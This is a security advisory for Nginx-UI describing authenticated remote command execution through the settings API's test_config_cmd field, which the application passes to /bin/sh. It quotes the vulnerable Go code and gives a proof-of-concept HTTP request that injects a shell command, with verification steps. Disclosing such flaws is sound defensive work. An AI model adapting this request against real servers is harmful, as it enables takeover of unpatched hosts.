GHSA-pxmr-q2x3-9x9m Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)

• Go github.com/0xJacky/Nginx-UI: < 1.9.10-0.20231219184941-827e76c46e63 → fixed in 1.9.10-0.20231219184941-827e76c46e63

Summary The `Home > Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API. ```go func InitPrivateRouter(r *gin.RouterGroup) { r.GET("settings", GetSettings) r.POST("settings", SaveSettings) ... } ``` The `SaveSettings` function is used to save the settings. It is protected by the `authRequired` middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings. The `SaveSettings` function is defined as follows: ```go func SaveSettings(c *gin.Context) { var json struct { ... Nginx settings.Nginx `json:"nginx"` ... } ... settings.NginxSettings = json.Nginx ... err := settings.Save() ... } ``` The `test_config_cmd` setting is stored as `settings.NginxSettings.TestConfigCmd`. When the application wants to test the nginx configuration, it uses the `TestConf` function: ```go func TestConf() (out string) { if settings.NginxSettings.TestConfigCmd != "" { out = execShell(settings.NginxSettings.TestConfigCmd) return } out = execCommand("nginx", "-t") return } ``` The `execShell` function is defined as follows: ```go func execShell(cmd string) (out string) { bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput() out = string(bytes) if err != nil { out += " " + err.Error() } return } ``` Where the `cmd` argument is user-controlled and is passed to `/bin/sh -c`. This issue was found using CodeQL for Go: Command built from user-controlled sources. Proof of Concept > Based on this setup using `uozi/nginx-ui:v2.0.0-beta.7`. 1. Login as a newly created user. 2. Send the following request to modify the settings with `"test_config_cmd":"touch /tmp/pwned"`. ```http POST /api/settings HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 528 Authorization: Content-Type: application/json {"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"touch /tmp/pwned","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"foo","node_secret":"foo","http_challenge_port":"9180","email":"foo","database":"foo","start_cmd":"","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}} ``` 3. Add a new site in `Home > Manage Sites > Add Site` with random data. The previously-modified `test_config_cmd` setting will be used when the application tries to test the nginx configuration. 4. Verify that `/tmp/pwned` exists. ``` $ docker exec -it $(docker ps -q) ls -al /tmp -rw-r--r-- 1 root root 0 Dec 14 21:10 pwned ``` Impact This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.